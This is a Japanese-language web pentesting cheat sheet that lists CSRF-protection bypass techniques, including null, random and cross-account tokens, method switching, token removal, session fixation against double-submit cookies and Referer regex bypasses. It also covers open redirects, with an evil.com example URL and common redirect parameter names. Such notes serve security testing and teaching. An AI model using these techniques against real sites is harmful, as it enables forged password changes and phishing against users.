### CSRF防御のバイパス手法

いわゆる全般的な異常系のテストの実行って感じだね

#### Null Value

* CSRFトークンにNullを入れて送信してみる
  * リクエストにCSRFヘッダーの存在のみしか確認していない時に、バイパスできるため

```
CSRF-Token:
```

#### Random CSRF Token

* 元の CSRF トークンと同じ長さだが異なる／ランダムな値を設定する
  * トークンが存在するか、値の長さが正しいかだけを検証している anti-CSRF 保護をバイパスできる場合があるため 正規のトークンが32文字だったら、32文字のランダムな値を入れてみる
* 32文字のランダムな値の例

```
CSRF-Token: 9cfffd9e8e78bd68975e295d1b3d3331 
```

#### 異なるアカウントのCSRF トークンを利用

* 異なるアカウント間で、同じCSRFトークンを利用している可能性がある
  * トークンがアルゴリズム的に正しいかどうかだけを確認している場合に有効

2つのアカウントを作成し、1つ目のアカウントにログインする

1. リクエストを生成し、CSRF トークンを取得します。
   * 例 : `CSRF-Token=9cfffd9e8e78bd68975e295d1b3d3331`
2. 2つ目のアカウントにログインし、同じ（または別の）リクエストを発行する際に、CSRF-Token の値を 9cfffd9e8e78bd68975e295d1b3d3331 に変更する
3. もしそのリクエストが成功すれば、自分のアカウントで生成したトークンを用いて、複数のアカウントに対して有効な CSRF 攻撃を実行できる

#### リクエストメソッドの改ざん

* anti-CSRF 保護をバイパスするために、リクエストメソッドを変更する
  * 例えば POST から GET、あるいはその逆
* 予期しないリクエストが CSRF トークンなしで処理される場合がある

#### CSRF トークンの削除／空のトークンを送る

* 一般的なアプリケーションロジックのミスによるもの
* アプリケーションがトークンの存在やパラメータが空でない場合にだけトークンの有効性を確認していることがある

正当なリクエスト

```
POST /change_password
POST body:
new_password=qwerty&csrf_token=9cfffd9e8e78bd68975e295d1b3d3331
```

試すべき例

```sh
POST /change_password
POST body:
new_password=qwerty
```

#### Session Fixation > CSRF

* サイトが CSRF 対策としてダブルサブミットクッキー（double-submit cookie）を利用している場合がある
  * ダブルサブミットクッキー（double-submit cookie）
    * 送信されるリクエストにランダムトークンをCookie とリクエストパラメータの両方に含め、サーバーがその2つの値が一致しているか確認する仕組み
  * 値が一致すればリクエストは正当と見なされる
  * アプリケーションは有効なトークンをサーバー側で保持していない可能性がある
  * サーバーは受け取ったトークンが正しいかどうかを知る手段がなく、 単に **Cookie 内のトークンとリクエストボディ内のトークンが同じか**を確認しているだけ

もしこの状況で**セッションフィクセーション**脆弱性が存在すれば、 攻撃者は次のようにして CSRF 攻撃を成功させることができる

手順

1. セッションフィクセーションを実行
2. 次のリクエストで CSRF を実行:

```sh
POST /change_password
Cookie: CSRF-Token=fixed_token;
POST body:
new_password=pwned&CSRF-Token=fixed_token
```

#### 正規表現（Regex）をバイパス

* Referer がホワイトリストの正規表現、あるいは特定ドメインだけを許可する正規表現でチェックされていることがある
* 例えば、Referer ヘッダーが `google.com` を確認しているとする
  * その場合、`www.google.com.pwned.m3`のように試すことができる
* 他のバイパスできるドメインの書き方
  * `www.target.com.pwned.m3`
  * `www.pwned.m3?www.target.com`
  * `www.pwned.m3/www.target.com`

## Open Redirect

* 攻撃者が正規アプリケーションのリダイレクト機能を悪用して、被害者を攻撃者が管理するサイトへリダイレクトさせることができる場合のことを指す
* 攻撃者は正規サイトのリダイレクト URL に自分が管理するウェブサイトを指定し、その URL を被害者に渡すだけで攻撃が行える
  * これは正規アプリケーションのリダイレクト機能が**リダイレクト先のサイトを一切検証していない**場合に可能になる
* 攻撃者の観点から見ると、オープンリダイレクト脆弱性は初期侵入段階で非常に有用
  * なぜなら、被害者を**信頼しているページを経由して**攻撃者管理のウェブページへ誘導できるから

攻撃の影響

* フィッシング
* HTTP-Onlyが設定されていなかったら、Cookie情報が取得できたり、CSRFトークンを取得できる
* OAuthとかのログイン画面だと
  * 認可コード
  * アクセストークン
  * CSRF トークン\
    など**一時的な機密値**が攻撃者側に送られる

攻撃者がこのオープンリダイレクト脆弱性を利用して送る悪意ある URLの例

```
trusted.site/index.php?url=https://evil.com
```

以下のような URL パラメータに、Open Redirectの脆弱性がある可能性がある

* ログインページなどでよく見かける

```
?url=
?link=
?redirect=
?redirecturl=
?redirect_uri=
?return=
?return_to=
?returnurl=
?go=
?goto=
?exit=
?exitpage=
?fromurl=
?fromuri=
?redirect_to=
?next=
?newurl=
?redir=
```
